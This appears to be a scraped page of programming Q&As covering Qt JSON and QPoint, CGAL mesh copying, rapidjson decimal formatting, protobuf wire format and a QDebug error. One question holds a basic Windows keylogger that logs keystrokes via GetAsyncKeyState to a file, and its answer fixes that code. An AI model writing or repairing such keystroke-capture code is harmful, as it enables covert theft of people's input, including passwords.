QJsonDocument::fromVariant() not able to encode QPoint? - qt5

I'd like to save a QVariantMap as JSON using built-in Qt 5.2.0 functionality (Windows7, Qt5.2.0, MinGW4.8). QJsonDocument seems not to be able to handle QPoint types, although they are encoded as QVariant successfully. Here an example:
int main()
{
QPoint point(23, 42);
QVariantMap settings;
settings["point"] = point;
qDebug() << settings;
QJsonDocument json;
json = QJsonDocument::fromVariant(settings);
qDebug() << json;
}
This produces the following output:
QMap(("point", QVariant(QPoint, QPoint(23,42) ) ) )
QJsonDocument({"point": null})
Why is point in json null? What are the limitations to JSON encoding regarding built-in datatypes?

You can't serialize any data type directly to JSON. You'll need to do some manual work.
For example, to serialize you could do something as simple as converting to a QString with a custom notation:
#include <QCoreApplication>
#include <QVariantMap>
#include <QPoint>
#include <QPointF>
#include <QDebug>
#include <QJsonDocument>
#include <QJsonObject>
int main(int argc, char *argv[])
{
Q_UNUSED(argc)
Q_UNUSED(argv)
QPoint point(23, 42);
//QPointF point(3234.23, 3423.22);
//QString point = "sdfsdf";
QVariantMap settings;
settings["point"] = QString("(%1, %2)").arg(point.x()).arg(point.y());
QJsonObject jsonobj = QJsonObject::fromVariantMap(settings);
QJsonDocument json = QJsonDocument(jsonobj);
qDebug() << settings;
qDebug() << jsonobj.toVariantMap();
qDebug() << json;
}
Example results:
QMap(("point", QVariant(QString, "(23, 42)") ) )
QMap(("point", QVariant(QString, "(23, 42)") ) )
QJsonDocument({"point": "(23, 42)"})
To deserialize you'll need to fiddle a little more, but should be equally easy.
From JSON Support in Qt:
JSON is a format to store structured data. It has 6 basic data types:
* bool
* double
* string
* array
* object
* null

Related

How to copy a surface mesh in CGAL

I want to copy a mesh with the function copy_face_graph(source, target). But the target mesh is different (it has same number of vertices and faces, but the coordinates and the order are totally different).
The code:
#include <CGAL/Exact_predicates_inexact_constructions_kernel.h>
#include <CGAL/Exact_predicates_exact_constructions_kernel.h>
#include <CGAL/Surface_mesh.h>
#include <iostream>
#include <fstream>
#include <CGAL/boost/graph/copy_face_graph.h>
typedef CGAL::Exact_predicates_inexact_constructions_kernel Kernel;
typedef CGAL::Surface_mesh<Kernel::Point_3> Mesh;
namespace PMP = CGAL::Polygon_mesh_processing;
int main(int argc, char* argv[]) {
const char* filename1 = (argc > 1) ? argv[1] : "data/blobby.off";
std::cout << ".off loaded" << std::endl;
std::ifstream input(filename1);
Mesh mesh_orig;
if (!input || !(input >> mesh_orig))
{
std::cerr << "First mesh is not a valid off file." << std::endl;
return 1;
}
input.close();
// ========================================================
Mesh mesh_copy;
CGAL::copy_face_graph(mesh_orig, mesh_copy);
// ========================================================
std::ofstream mesh_cpy("CPY_ANYLYZE/mesh_copy.off");
mesh_cpy << mesh_copy;
mesh_cpy.close();
return 0;
}
Dose anyone knows how to get a complete same mesh from the original mesh? Do I need add the named parameters, or maybe using another function?
Thanks a lot
Except if you intend to write some code working with different data structures, you can use the copy constructor from the Surface_mesh class, Mesh mesh_copy(mesh_orig). copy_face_graph does not do a raw copy because it works also if the input and output are of different types. However the output should be the same up to the order of the simplices.

How to set different decimal places in same rapidjson document

I have made a rapidjson document with all my objects and values using usual AddMember() method. Now I want to get the string out of that document for publishing to a mqtt broker. But inside that string, some members shall have 2 decimal places, some only one, and others all decimals.
I don't find how to set decimal place for a specific member after the document was fully builded.
I succeeded to do so by building my json document with a writer but this is not what i want to do because this document can't be easily modified:
#include <string>
#include <iostream>
#include <sstream>
#include <rapidjson/document.h> // rapidjson's DOM-style API
#include <rapidjson/prettywriter.h> // for stringify JSON
#include <rapidjson/stringbuffer.h>
using namespace rapidjson;
using namespace std;
int main (int argc, char* argv[])
{
Document doc;
StringBuffer buffer;
Writer<StringBuffer> writer(buffer);
writer.StartObject();
writer.Key("member1");
writer.SetMaxDecimalPlaces(2);
writer.Double(1.0000001);
writer.Key("member2");
writer.SetMaxDecimalPlaces(3);
writer.Double(3.123456);
writer.Key("member3");
writer.SetMaxDecimalPlaces(8);
writer.Double(2.123456);
writer.EndObject();
cout << buffer.GetString() << endl;
return 0;
}
./decimal
{"member1":1.0,"member2":3.123,"member3":2.123456}
Now, this how i build my document:
#include <string>
#include <iostream>
#include <sstream>
#include <rapidjson/document.h> // rapidjson's DOM-style API
#include <rapidjson/prettywriter.h> // for stringify JSON
#include <rapidjson/stringbuffer.h>
using namespace rapidjson;
using namespace std;
int main (int argc, char* argv[])
{
Document doc;
Document::AllocatorType& allocator = doc.GetAllocator();
StringBuffer buffer;
Writer<StringBuffer> writer(buffer);
doc.SetObject();
doc.AddMember("member1", 1.0000001, allocator);
doc.AddMember("member3", 3.123456, allocator);
doc.AddMember("member2", 2.123456, allocator);
writer.SetMaxDecimalPlaces(2);
doc.Accept(writer);
cout << buffer.GetString() << endl;
return 0;
}
./decimal
{"member1":1.0,"member2":2.12,"member3":3.12}
The SetMaxDecimalPlaces() applies to the whole document this way
I would like to get same output has first code example but using document made from second source code. How can i tell the writer to format each member differently ?
I'm super late to the party, but you can create a second writer with different writing settings:
StringBuffer buffer;
Writer<StringBuffer> writer1(buffer); // original writer
Writer<StringBuffer> writer2(buffer); // a new second writer
writer1.SetMaxDecimalPlaces(1);
writer2.SetMaxDecimalPlaces(2);
and then use the specific writers to write directly into the buffer instead of using the doc to call the writer:
writer.Key("member1");
writer.Double(1.0);
writer2.Key("member2");
writer2.Double(2.12);
writer2.Key("member3");
writer2.Double(3.12);
Full example:
using namespace rapidjson;
using namespace std;
int main (int argc, char* argv[])
{
StringBuffer buffer;
Writer<StringBuffer> writer1(buffer);
Writer<StringBuffer> writer2(buffer);
writer1.SetMaxDecimalPlaces(2);
writer2.SetMaxDecimalPlaces(2);
writer1.StartObject();
writer1.Key("member1");
writer1.Double(1.0);
writer2.Key("member2");
writer2.Double(2.12);
writer2.Key("member3");
writer2.Double(3.12);
writer1.EndObject();
cout << buffer.GetString() << endl;
return 0;
}

File input not working

I have this C++ program that will get key code and store it as a string in a text file. After I run the program the file is supposed to appear alongside my cpp file but I doesn't appear. I think is got to do with the Save function where the file input and output is happening. Does anyone notices any errors(I get none while compiling).
#include <iostream>
#include <Windows.h>
#include <Winuser.h>
#include <fstream>
using namespace std;
int Save (int Key_Stroke, char *file);
int main(){
char i;
while(1){
for(i = 8; i <= 190; i++){
if(GetAsyncKeyState(i) == -32767){
Save(i, "LOG.TXT");
}
}
}
system("PAUSE");
return 0;
}
int Save (int Key_Stroke, char *file){
if((Key_Stroke == 1) || (Key_Stroke == 2) || (Key_Stroke == 5))
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
fprintf(OUTPUT_FILE, "%s", &Key_Stroke);
fclose(OUTPUT_FILE);
cout << Key_Stroke << endl;
return 0;
}
When using C fprintf (this isn't typically used in C++, see ofstream) you don't use reference operator & because you are passing value to function, not address. Also formatting string is wrong, you want to write int %d, not array of chars %s (more here)
Your Save function should look like
int Save(int Key_Stroke, const char *file)
{
if((Key_Stroke == 1) || (Key_Stroke == 2) || (Key_Stroke == 5))
return 0;
FILE *OUTPUT_FILE = fopen(file, "a+");
if(OUTPUT_FILE != NULL)
{
fprintf(OUTPUT_FILE, "%d", Key_Stroke);
fclose(OUTPUT_FILE);
}
cout << Key_Stroke << endl;
return 0;
}
Also notice const keyword in second argument of the function. This should be used to avoid writing to constant area of memory - directly written array of chars "LOG.TXT" .
Next thing, you should always check if the file you are trying to write to is correctly opened if(OUTPUT_FILE != NULL) .

what's the storage format of protobuf data?

the .proto file:
package lm;
message helloworld
{
required int32 id = 1;
required string str = 2;
optional int32 opt = 3;
}
the writer.cc file:
#include <iostream>
#include <string>
#include "lm.helloworld.pb.h"
#include <fstream>
using namespace std;
int main()
{
lm::helloworld msg1;
msg1.set_id(101000);
msg1.set_str("helloworld,this is a protobuf writer");
fstream output("log", ios::out | ios::trunc | ios::binary);
string _data;
msg1.SerializeToString(&_data);
cout << _data << endl;
if(!msg1.SerializeToOstream(&output))
{
cerr << "Failed to write msg" << endl;
return -1;
}
return 0;
}
the reader.cc file:
#include <iostream>
#include <fstream>
#include <string>
#include "lm.helloworld.pb.h"
using namespace std;
void ListMsg(const lm::helloworld & msg)
{
cout << msg.id() << endl;
cout << msg.str() << endl;
}
int main(int argc, char* argv[])
{
lm::helloworld msg1;
{
fstream input("log", ios::in | ios::binary);
if (!msg1.ParseFromIstream(&input))
{
cerr << "Failed to parse address book." << endl;
return -1;
}
}
ListMsg(msg1);
return 0;
}
It's a simple reader and writer model using protobuf. but what's in the log is a readable string a typed in the write.cc file instead of "numeric format",why is that?
The encoding is described here.
Without an example of what comes out the other end, that is slightly hard to answer precisely, but there are two possible explanations of what you are seeing:
you have explicitly switched into TextFormat in your code; this is very unlikely - and indeed, the primary use of TextFormat is debugging etc
far more likely, you're just seeing the text data from your message in the binary; text is encoded as UTF-8, so if you open a protobuf file in a text editor, pieces of it will appear readable enough to display something in the file
The real question is: what are the actual bytes in your output file? If it is something like:
08-88-95-06-12-24-68-65-6C-6C-6F-77-6F-72-6C-64-2C-74-68-69-73-20-69-73-20-61-20-70-72-6F-74-6F-62-75-66-20-77-72-69-74-65-72
then that is the binary format; but note that most of that is simply the UTF-8 of the string "helloworld,this is a protobuf writer" - which dominates the message by sheer size:
68-65-6C-6C-6F-77-6F-72-6C-64-2C-74-68-69-73-20-69-73-20-61-20-70-72-6F-74-6F-62-75-66-20-77-72-69-74-65-72
So if you look in any text editor, it will appear as a few garbled characters at the start followed by the clearly legible helloworld,this is a protobuf writer.
The "binary" here is the bit at the start:
08-88-95-06-12-24
This is:
08: header: field 1, varint
88-95-06: the value (decimal) 101000 as a varint
12: header: field 2, length-prefixed
24: the value (decimal) 36 as a varint (the length of the string, in bytes)
The key points to note:
if your message is dominated by text, the yes, large parts of it will look human-readable even in binary form
look at the overheads; it to 6 bytes to encode the entire rest of the message, and 3 bytes of that was data (the 101000) - so only 3 bytes was actually lost as overhead; now compare and contrast to xml, json, etc to understand what protobuf is doing to help you

QT 5.0 QDebug compilation error

I am having trouble compiling my code with QDebug, but i really need it.
#include <QCoreApplication>
#include <QtDebug>
int main(int argc, char *argv[])
{
QCoreApplication a(argc, argv);
QDebug() << "hello";
return a.exec();
}
This is an example of the error i got on this simple test:
no matching function for call to 'QDebug::QDebug()'
Try this:
qDebug() << "hello";
The problem here is that QDebug does not have a default constructor. QDebug() << "hello"; would work if it did have one.
These are the available constructors:
QDebug(QIODevice* device);
QDebug(QString* string);
QDebug(QtMsgType type);
// and the copy constructor of course.
duDE's answer gives you what you're looking for.
For version 5.15 of Qt following worked for me,
add include file,
#include <QDebug>
and use,
qDebug() << "Your debug message.";